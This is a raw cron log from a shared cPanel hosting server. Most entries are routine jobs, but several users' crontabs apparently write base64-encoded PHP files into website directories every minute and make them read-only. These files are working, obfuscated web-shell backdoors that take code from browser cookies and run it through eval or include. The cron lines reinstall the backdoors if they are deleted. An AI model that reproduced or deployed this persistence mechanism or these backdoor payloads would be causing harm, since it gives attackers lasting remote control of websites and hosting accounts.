Mar  2 04:15:01 medusa CROND[9442]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 04:15:01 medusa CROND[9443]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  2 04:15:01 medusa CROND[9445]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:15:01 medusa CROND[9448]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:15:01 medusa CROND[9449]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:15:01 medusa CROND[9455]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:15:01 medusa CROND[9462]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:15:01 medusa CROND[9447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:15:01 medusa CROND[9451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:15:01 medusa CROND[9444]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:15:01 medusa CROND[9465]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:15:01 medusa CROND[9461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:16:01 medusa CROND[27243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:16:01 medusa CROND[27244]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:16:01 medusa CROND[27247]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:16:01 medusa CROND[27242]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:16:01 medusa CROND[27248]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:16:01 medusa CROND[27250]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:16:01 medusa CROND[27252]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:16:01 medusa CROND[27253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:16:01 medusa CROND[27254]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:16:01 medusa CROND[27255]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:16:01 medusa CROND[27257]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:16:01 medusa CROND[27256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:16:01 medusa CROND[27251]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:16:01 medusa CROND[27265]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:17:01 medusa CROND[13232]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 04:17:01 medusa CROND[13233]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:17:01 medusa CROND[13231]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:17:01 medusa CROND[13234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:17:01 medusa CROND[13236]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Mar  2 04:17:01 medusa CROND[13238]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:17:01 medusa CROND[13240]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:17:01 medusa CROND[13241]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:17:01 medusa CROND[13242]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
